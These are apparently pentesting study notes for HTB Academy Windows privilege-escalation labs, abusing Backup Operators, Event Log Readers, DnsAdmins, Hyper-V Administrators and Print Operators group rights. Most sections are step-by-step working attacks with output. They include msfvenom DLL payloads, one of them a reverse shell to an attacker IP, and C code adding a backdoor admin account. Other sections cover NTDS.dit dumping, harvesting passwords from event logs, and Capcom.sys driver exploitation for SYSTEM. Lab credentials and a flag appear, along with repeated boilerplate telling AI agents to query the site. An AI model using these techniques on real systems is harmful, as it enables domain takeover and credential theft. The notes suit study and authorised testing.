  • Import PowerShell modules for privilege manipulation
  • Enable SeBackupPrivilege (Set-SeBackupPrivilege)
  • Verify activation (Get-SeBackupPrivilege)
  • Confirm with whoami (whoami /priv)

File System Exploitation

  • Identify target files (sensitive documents, databases)
  • Test normal access (verify restriction exists)
  • Use Copy-FileSeBackupPrivilege to bypass ACLs
  • Verify successful copy and read content

Domain Controller Attacks

  • Create shadow copy (diskshadow.exe)
  • Copy NTDS.dit from shadow volume
  • Backup registry hives (SYSTEM, SAM)
  • Extract credentials (DSInternals or secretsdump.py)

Post-Exploitation

  • Document accessed files for reporting
  • Clean up temporary files (shadow copies, copied files)
  • Extract credential data for further attacks
  • Report findings with remediation recommendations

💡 Key Takeaways

  1. Backup Operators provides powerful file system access via SeBackupPrivilege
  2. NTDS.dit extraction possible on Domain Controllers through shadow copies
  3. ACL bypass works for most files except explicit DENY entries
  4. Registry access enables local credential extraction (SAM, SYSTEM)
  5. Robocopy alternative eliminates need for external PowerShell modules
  6. Detection possible through privilege usage monitoring and file access logs
  7. Common oversight - accounts left in group after legitimate backup tasks

Backup Operators group membership provides extensive file system access capabilities that can be leveraged for significant privilege escalation, especially in Domain Controller environments.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/windows-builtin-groups.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Event Log Readers

🎯 Overview

Event Log Readers group members have permission to access Windows event logs, particularly the Security event log. When process creation auditing is enabled, command line arguments are logged as Event ID 4688, potentially exposing sensitive information including passwords, usernames, and authentication credentials passed as command-line parameters.

📊 Process Creation Auditing Background

Event ID 4688 - Process Creation

# When enabled, logs contain:
- Process name and path
- Command line arguments  
- User context
- Process ID (PID)
- Parent process information

Security Implications

Common exposed data:
  • Network authentication credentials (net use /user:username password)
  • Database connection strings
  • API keys and tokens
  • Service account passwords
  • PowerShell script credentials

Organizational Detection Use Cases

# Security teams monitor for:
- Reconnaissance commands (whoami, netstat, tasklist)
- Lateral movement tools (psexec, wmic, reg)
- Data exfiltration utilities (robocopy, xcopy)
- PowerShell execution patterns

🔍 Group Membership Detection

Verify Event Log Readers Membership

# Check local group membership
net localgroup "Event Log Readers"

# Expected output:
Alias name     Event Log Readers
Comment        Members of this group can read event logs from local machine

Members
-------------------------------------------------------------------------------
logger
The command completed successfully.

Alternative Verification Methods

# Check current user groups
whoami /groups

# Look for:
BUILTIN\Event Log Readers                      Group S-1-5-32-573

🔎 Event Log Analysis Techniques

Method 1: wevtutil Command Line

# Search for /user patterns in Security log
wevtutil qe Security /rd:true /f:text | Select-String "/user"

# Sample output:
Process Command Line:   net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

Advanced wevtutil Usage

# Search with alternate credentials
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"

# Search for specific patterns
wevtutil qe Security /rd:true /f:text | findstr "password"
wevtutil qe Security /rd:true /f:text | findstr "net use"
wevtutil qe Security /rd:true /f:text | findstr "psexec"

Common Search Patterns

# Network authentication
findstr "/user"
findstr "password="
findstr "net use"

# PowerShell credentials  
findstr "-Credential"
findstr "ConvertTo-SecureString"
findstr "Get-Credential"

# Database connections
findstr "connectionstring"
findstr "sqlcmd"
findstr "mysql"

Method 2: Get-WinEvent PowerShell

Process Creation Event Analysis

# Filter Event ID 4688 with /user pattern
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

# Expected output:
CommandLine
-----------
net use T: \\fs01\backups /user:tim MyStr0ngP@ssword

Alternative PowerShell Searches

# Search for password patterns
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*password*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

# Search with alternate credentials
Get-WinEvent -LogName security -Credential (Get-Credential) | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

PowerShell Operational Log Analysis

# Access PowerShell logs (accessible to unprivileged users)
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | where { $_.Message -like '*password*' }

# Script block logging analysis
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | where { $_.ID -eq 4104 -and $_.Message -like '*credential*' }

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: logger:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Find password for user mary using Event Log Readers privileges

Detailed Step-by-Step Solution

1. RDP Connection

# Connect via RDP to target (IP will be provided)
xfreerdp /v:[TARGET_IP] /u:logger /p:'HTB_@cademy_stdnt!'

2. Verify Group Membership

# Open Command Prompt
# Confirm Event Log Readers membership
net localgroup "Event Log Readers"

# Verify user is member:
Members
-------------------------------------------------------------------------------
logger

3. Search Security Logs for Credentials

# Search for /user patterns
wevtutil qe Security /rd:true /f:text | findstr "/user"

# Search for mary-specific entries
wevtutil qe Security /rd:true /f:text | findstr "mary"

# Search for password patterns
wevtutil qe Security /rd:true /f:text | findstr "password"

Method B: PowerShell Analysis

# Open PowerShell
# Search Event ID 4688 for mary
Get-WinEvent -LogName Security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*mary*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

# Search for credential patterns
Get-WinEvent -LogName Security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*password*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
# Search multiple patterns systematically
wevtutil qe Security /rd:true /f:text | findstr "mary password"
wevtutil qe Security /rd:true /f:text | findstr "net use.*mary"
wevtutil qe Security /rd:true /f:text | findstr "runas.*mary"

4. Analyze Results

# Look for command lines containing mary's credentials:
# Examples of what to look for:
net use \\server\share /user:mary [PASSWORD]
runas /user:mary "cmd.exe" [PASSWORD]
psexec \\target -u mary -p [PASSWORD]
sqlcmd -S server -U mary -P [PASSWORD]

5. Extract Password

# Once command line with mary's credentials is found:
# Submit the discovered password for mary

Alternative Search Strategies

# Sometimes credentials stored in registry
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI /s | findstr mary

Application Event Logs

# Check application logs
wevtutil qe Application /rd:true /f:text | findstr "mary"
wevtutil qe System /rd:true /f:text | findstr "mary"

PowerShell History Analysis

# Check PowerShell execution logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | where { $_.Message -like '*mary*' }

🔒 Common Credential Exposure Scenarios

Network Authentication

# net use commands expose credentials
net use Z: \\fileserver\share /user:domain\mary P@ssw0rd123

# Map drive with stored credentials
net use \\server\ipc$ /user:mary SecretPassword

Service Execution

# psexec with embedded credentials
psexec \\target -u mary -p MyPassword cmd.exe

# runas commands
runas /user:mary "application.exe"

Database Connections

# SQL Server authentication
sqlcmd -S sqlserver -U mary -P DatabasePass

# MySQL connections
mysql -h server -u mary -pMySQLPass

PowerShell Execution

# Credential objects in command line
$cred = New-Object System.Management.Automation.PSCredential("mary", "Password123")

# Invoke-Command with credentials
Invoke-Command -ComputerName server -Credential (Get-Credential mary)

⚠️ Limitations and Considerations

Registry Permissions

# Note: Get-WinEvent requires additional permissions
# Registry key: HKLM\System\CurrentControlSet\Services\Eventlog\Security
# Event Log Readers membership alone may not be sufficient for PowerShell access

Log Retention

# Event logs have size limits and rotation
# Older events may be overwritten
# Check log configuration: eventvwr.msc

Operational Awareness

# Event log access may be monitored
# Leave minimal forensic footprint
# Document findings for client reporting

🔍 Detection Indicators

Event Log Access

# Monitor for Event IDs:
Event ID 1102 - Audit log cleared
Event ID 4663 - Access attempt to object (event logs)
Event ID 4656 - Handle to object requested

Tool Usage Patterns

# Suspicious activities:
- Multiple wevtutil executions
- PowerShell Get-WinEvent queries
- Pattern-based event log searches
- Non-administrative users accessing Security logs

🛡️ Defense Strategies

Command Line Auditing Best Practices

# Prevent credential exposure:
- Use credential managers instead of command-line passwords
- Implement script-based authentication
- Avoid embedding credentials in batch files
- Use service accounts with stored credentials

Event Log Protection

# Security measures:
- Implement log forwarding to SIEM
- Set appropriate log retention policies
- Monitor Event Log Readers group membership
- Enable additional audit categories

Detection Rules

# Monitor for:
- Unusual event log access patterns
- Command lines containing credential indicators
- Event Log Readers group modifications
- Non-business hour log access

📋 Event Log Readers Exploitation Checklist

Prerequisites

  • Event Log Readers membership verified
  • Process creation auditing enabled on target
  • Command line logging configured (Event ID 4688)
  • Network/RDP access to target system

Reconnaissance

  • Verify group membership (net localgroup "Event Log Readers")
  • Check log accessibility (Security, Application, System)
  • Identify time ranges for credential search
  • Determine search patterns based on target users
  • wevtutil searches for credential patterns
  • PowerShell analysis of Event ID 4688
  • Alternative log sources (PowerShell Operational)
  • Pattern-based filtering (/user, password, net use)

Analysis and Extraction

  • Parse command lines for embedded credentials
  • Identify user accounts and passwords
  • Validate credential format and complexity
  • Document findings for reporting

💡 Key Takeaways

  1. Event Log Readers provides access to sensitive command-line history
  2. Process creation auditing often exposes embedded credentials
  3. wevtutil and Get-WinEvent are primary analysis tools
  4. Command-line passwords are common in enterprise environments
  5. PowerShell logs may contain additional sensitive information
  6. Pattern-based searches effectively identify credential exposure
  7. Minimal privileges can yield high-value intelligence

Event Log Readers group membership provides valuable reconnaissance capabilities through analysis of logged command-line executions and process creation events.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/event-log-readers.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

DnsAdmins

🎯 Overview

DnsAdmins group members have access to DNS information and can manipulate DNS service configuration. Since the Windows DNS service runs as NT AUTHORITY\SYSTEM, membership in this group can be leveraged for privilege escalation on Domain Controllers or dedicated DNS servers through custom DLL plugin injection.

🔧 Attack Mechanism

DNS Plugin Architecture

# Key attack components:
- DNS management performed over RPC
- ServerLevelPluginDll registry key allows custom DLL loading
- Zero verification of DLL path or content
- DNS service restart loads the custom DLL as SYSTEM
- Full path specification required for successful exploitation

Attack Flow

  1. Generate malicious DLL (msfvenom or custom code)
  2. Host DLL on accessible network share or local path
  3. Configure ServerLevelPluginDll registry key via dnscmd
  4. Restart DNS service to trigger DLL loading
  5. Execute payload with SYSTEM privileges
  6. Clean up registry and restore service

🔍 Group Membership Verification

Check DnsAdmins Membership

# Verify group membership
Get-ADGroupMember -Identity DnsAdmins

# Expected output:
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109

Alternative Verification

# Check current user groups
whoami /groups

# Look for:
INLANEFREIGHT\DnsAdmins                         Group S-1-5-21-669053619-2741956077-1013132368-1103

💣 Custom DLL Generation

Method 1: MSFVenom Payload

# Generate user addition payload
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

# Expected output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

Method 2: Reverse Shell Payload

# Generate reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f dll -o revshell.dll

# Set up listener
nc -lnvp 443

Method 3: Custom Mimilib.dll

// Modified kdns.c for command execution
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);
        system("net user hacker P@ssw0rd /add && net localgroup administrators hacker /add");
    }
    return ERROR_SUCCESS;
}

🌐 DLL Hosting and Delivery

HTTP Server Method

# Start Python HTTP server
python3 -m http.server 7777

# Expected access log:
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

### Download to Target
```powershell wrap
# Download DLL to target system
wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

# Alternative with Invoke-WebRequest
Invoke-WebRequest -Uri "http://10.10.15.152:1234/adduser.dll" -OutFile "C:\Users\netadm\Desktop\adduser.dll"

SMB Share Method

# Host on SMB share accessible by Domain Controller machine account
copy adduser.dll \\fileserver\share\adduser.dll

🔐 DNS Service Configuration

Test Non-Privileged Access

# Attempt DLL loading as normal user (should fail)
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

# Expected failure:
DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

Load DLL as DnsAdmins Member

# Configure custom DLL path (requires full path)
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

# Expected success:
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Alternative UNC Path

# Use network share path
dnscmd.exe /config /serverlevelplugindll \\10.10.14.3\share\adduser.dll

🔄 DNS Service Manipulation

Check Service Permissions

Find User SID

# Get current user SID
wmic useraccount where name="netadm" get sid

# Expected output:
SID
S-1-5-21-669053619-2741956077-1013132368-1109

Analyze Service Permissions

# Check DNS service permissions using SDDL
sc.exe sdshow DNS

# Look for RPWP permissions (SERVICE_START and SERVICE_STOP):
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Service Restart Sequence

Stop DNS Service

# Stop DNS service
sc stop dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

Start DNS Service

# Start DNS service (triggers DLL loading)
sc start dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        PID                : 6960

Verify Privilege Escalation

# Check if user was added to Domain Admins
net group "Domain Admins" /dom

# Expected result:
Group name     Domain Admins
Comment        Designated administrators of the domain

Members
-------------------------------------------------------------------------------
Administrator            netadm

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: netadm:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Leverage DnsAdmins membership to escalate privileges and retrieve flag

Complete Step-by-Step Walkthrough

1. Connect to Target via RDP

# Example target IP from HTB Academy
xfreerdp /v:10.129.43.42 /u:netadm /p:'HTB_@cademy_stdnt!'

# Expected output:
[16:18:25:879] [4321:4323] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr

2. Generate Malicious DLL (On Pwnbox/Attack Machine)

# Generate DLL to add netadm to Domain Admins
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

# Expected output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 8704 bytes
Saved as: adduser.dll

3. Start HTTP Server for DLL Delivery

# Start Python HTTP server on Pwnbox
python3 -m http.server 7777

# Expected output:
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...

4. Download DLL to Target (PowerShell)

# From RDP session, open PowerShell
# Download adduser.dll using wget
wget "http://10.10.14.80:7777/adduser.dll" -outfile "adduser.dll"

# Verify download
ls

# Expected output:
    Directory: C:\Users\netadm
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        5/19/2021   1:38 PM                Videos
-a----        10/3/2022   9:03 AM           8704 adduser.dll

5. Configure DNS Plugin (Command Prompt)

# Open Command Prompt from RDP session
# Load malicious DLL via dnscmd
dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\adduser.dll

# Expected success message:
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

6. Restart DNS Service

# Stop DNS service
sc stop dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

# Start DNS service (triggers DLL execution)
sc start dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6460
        FLAGS              :

7. Verify Privilege Escalation

# Check Domain Admins group membership
net group "Domain Admins" /dom

# Expected result (netadm should be added):
Group name     Domain Admins
Comment        Designated administrators of the domain

Members
-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

8. Sign Out and Reconnect

# Sign out from current RDP session to refresh permissions
# Reconnect with same credentials
xfreerdp /v:10.129.43.42 /u:netadm /p:'HTB_@cademy_stdnt!'

# This step is important to refresh the session with new Domain Admin privileges

9. Access Administrator Desktop and Retrieve Flag

# Open Command Prompt with Domain Admin privileges
# Access the flag file
type C:\Users\Administrator\Desktop\DnsAdmins\flag.txt

# Submit the flag content to HTB Academy

Key Success Indicators

  1. ✅ DLL Generation: 8704 bytes adduser.dll created successfully
  2. ✅ HTTP Server: Python server serving on port 7777
  3. ✅ DLL Download: adduser.dll present in C:\Users\netadm\
  4. ✅ Registry Configuration: “Registry property serverlevelplugindll successfully reset”
  5. ✅ DNS Service Restart: Both stop and start commands complete successfully
  6. ✅ Privilege Escalation: netadm appears in Domain Admins group
  7. ✅ Administrator Access: Can read files in C:\Users\Administrator\Desktop\DnsAdmins\

Alternative Attack Methods

Method A: Direct Administrator Access

# Generate DLL for direct access
msfvenom -p windows/x64/exec cmd='copy c:\Users\Administrator\Desktop\DnsAdmins\flag.txt c:\Users\netadm\Desktop\flag.txt' -f dll -o getflag.dll

Method B: Service Account Technique

# Generate DLL to enable RDP for netadm
msfvenom -p windows/x64/exec cmd='net localgroup "Remote Desktop Users" netadm /add' -f dll -o rdp.dll

🧹 Cleanup and Restoration

⚠️ Important Considerations

# WARNING: This is a destructive attack
- Only perform with explicit client permission
- DNS service disruption affects entire domain
- Always have cleanup plan ready
- Document all changes made

Registry Cleanup

Verify Registry Key

# Check if ServerLevelPluginDll key exists
reg query \\[DC_IP]\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

# Look for:
ServerLevelPluginDll    REG_SZ    adduser.dll

Remove Registry Key

# Delete the malicious registry entry
reg delete \\[DC_IP]\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

# Confirm deletion:
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

Service Restoration

# Restart DNS service cleanly
sc.exe start dns

# Verify service is running
sc query dns

# Expected output:
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING

DNS Functionality Test

# Test DNS resolution
nslookup localhost
nslookup domain.com

# Verify DNS is working correctly

🌐 WPAD Attack Alternative

Global Query Block List Manipulation

Disable Global Query Block

# Disable global query block list
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local

Create WPAD Record

# Add WPAD record pointing to attack machine
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Traffic Interception

# Set up Responder for traffic capture
responder -I eth0 -A

# Alternative: Use Inveigh
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y

🔍 Detection Indicators

Registry Monitoring

# Monitor for registry changes:
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll

# Event IDs to watch:
Event ID 4657 - Registry value modified
Event ID 4656 - Handle to object requested

Service Activity

# Suspicious activities:
- DNS service stops/starts outside maintenance windows
- dnscmd.exe execution by non-administrative users
- Custom DLL files in DNS-related directories
- Network connections from DNS service process

Network Indicators

# Traffic patterns:
- HTTP requests for DLL files from Domain Controllers
- SMB connections to unusual shares
- DNS queries to non-standard records (WPAD)

🛡️ Defense Strategies

Group Membership Hardening

# Regular audits:
- Review DnsAdmins group membership quarterly
- Remove unnecessary accounts
- Implement least-privilege principles
- Use dedicated DNS management accounts

DNS Service Protection

# Security measures:
- Enable DNS audit logging
- Monitor ServerLevelPluginDll registry key
- Implement application whitelisting
- Restrict DNS service permissions

Detection Rules

# Deploy monitoring for:
- DnsAdmins group modifications
- dnscmd.exe execution
- DNS service restart events
- Custom DLL loading by DNS service

📋 DnsAdmins Exploitation Checklist

Prerequisites

  • DnsAdmins membership verified
  • DNS service permissions confirmed (RPWP)
  • Domain Controller access available
  • Client permission obtained for destructive testing

DLL Generation

  • Malicious DLL created (msfvenom or custom)
  • Payload tested in lab environment
  • Hosting method prepared (HTTP/SMB)
  • Full path available for DLL specification

Service Exploitation

  • Registry key configured (dnscmd /config /serverlevelplugindll)
  • DNS service stopped (sc stop dns)
  • DNS service started (sc start dns)
  • Privilege escalation verified (group membership/access)

Flag Retrieval

  • Administrator access confirmed
  • Flag file accessed (c:\Users\Administrator\Desktop\DnsAdmins\flag.txt)
  • Flag content extracted and submitted

Cleanup

  • Registry key removed (ServerLevelPluginDll)
  • DNS service restored (clean restart)
  • DNS functionality verified (nslookup tests)
  • Changes documented for client reporting

💡 Key Takeaways

  1. DnsAdmins membership enables SYSTEM-level code execution on DNS servers
  2. Custom DLL injection through ServerLevelPluginDll registry key
  3. DNS service restart required to trigger malicious DLL loading
  4. Full path specification mandatory for successful exploitation
  5. Destructive nature requires careful coordination with client
  6. Domain Controller impact - DNS disruption affects entire domain
  7. Multiple attack vectors - user addition, reverse shells, WPAD attacks
  8. Cleanup essential - registry restoration and service stability

DnsAdmins group privilege escalation represents one of the most powerful Windows built-in group attacks, capable of achieving Domain Admin privileges through DNS service manipulation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/dnsadmins-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Hyper-V Administrators

🎯 Overview

Hyper-V Administrators have full access to all Hyper-V features. If Domain Controllers are virtualized, members should be considered Domain Admins due to their ability to clone VMs and extract NTDS.dit offline.

🖥️ Virtual Machine Attack Vectors

Domain Controller VM Compromise

# Attack scenario:
1. Create clone of live Domain Controller VM
2. Mount virtual disk (.vhdx) offline
3. Extract NTDS.dit from mounted filesystem
4. Use secretsdump.py for credential extraction
Risk Assessment:
  • Virtualized DCs = Full domain compromise potential
  • VM cloning bypasses all online protections
  • Offline analysis undetectable by security tools

Attack Mechanism

# CVE-2018-0952 / CVE-2019-0841 exploitation:
1. vmms.exe restores permissions as NT AUTHORITY\SYSTEM
2. Delete target .vhdx file
3. Create hard link to protected SYSTEM file
4. Gain full permissions on SYSTEM file

Target File Example

# Mozilla Maintenance Service target
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Exploitation Steps

# 1. Run PowerShell hard link exploit
# 2. Take ownership of target file
takeown /F "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

# 3. Replace with malicious executable
# 4. Start service for SYSTEM execution
sc.exe start MozillaMaintenance

⚠️ Limitations

Patching Status

# MITIGATED: March 2020 Windows security updates
# Changed hard link behavior
# Technique no longer effective on patched systems

Alternative Vectors

# Focus on:
- VM-based attacks (still viable)
- Service exploitation requiring SYSTEM context
- Application services startable by unprivileged users

🔍 Detection & Defense

Monitoring

# Watch for:
- Hyper-V VM cloning activities
- Unexpected VM creation/deletion
- Hard link creation attempts
- Service file modifications

Hardening

# Mitigation strategies:
- Regular Windows updates (March 2020+)
- Restrict Hyper-V Administrators membership
- Monitor VM operations
- Implement VM integrity checking

💡 Key Takeaways

  1. Hyper-V Administrators = potential Domain Admin access on virtualized DCs
  2. VM cloning attack most reliable vector
  3. Hard link exploitation patched since March 2020
  4. Virtualization security critical for domain protection

Hyper-V Administrators group represents significant risk in virtualized environments, particularly when Domain Controllers are virtualized.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/hyperv-administrators.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

🎯 Overview

Print Operators group grants SeLoadDriverPrivilege, allowing members to load device drivers. This privilege can be exploited to load malicious drivers like Capcom.sys for SYSTEM privilege escalation.

🔑 Key Privileges & Capabilities

# Print Operators privileges:
SeLoadDriverPrivilege         # Load and unload device drivers
SeShutdownPrivilege           # Shut down Domain Controller
# Plus: manage printers, log on locally to DC

🔧 Driver Loading Exploitation

Privilege Verification

# Check privileges (may need UAC bypass first)
whoami /priv

# Expected output:
SeLoadDriverPrivilege         Load and unload device drivers       Disabled

Capcom.sys Driver Attack

1. Registry Configuration

# Add driver reference to registry
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

# NT Object Path syntax: \??\ for driver location

2. Enable Privilege & Load Driver

# Method A: Use EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.exe

# Expected output:
SeLoadDriverPrivilege            Enabled
NTSTATUS: 00000000, WinError: 0

# Method B: Automated with EoPLoadDriver
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

3. Exploit Driver for SYSTEM

# Execute ExploitCapcom.exe
ExploitCapcom.exe

# Expected result:
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: printsvc:HTB_@cademy_stdnt!
  • Access Method: xfreerdp
  • Tools Location: C:\Tools\ and C:\Tools\ExploitCapcom\
  • Objective: Escalate to SYSTEM and retrieve flag from Administrator desktop
  • Flag: Pr1nt_0p3rat0rs_ftw!

Detailed Walkthrough

1. Connect via RDP

# Connect to target using xfreerdp
xfreerdp /v:TARGET_IP /u:printsvc /p:HTB_@cademy_stdnt!

# Example output:
[16:18:25:879] [4321:4323] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr

2. Open Elevated Command Prompt

# Right-click Command Prompt → "Run as administrator"
# Supply credentials: printsvc:HTB_@cademy_stdnt! when prompted

3. Navigate to Tools and Execute EoPLoadDriver

cd C:\Tools
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

# Expected output:
RegCreateKeyEx failed: 0x0
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: 00000000, WinError: 0

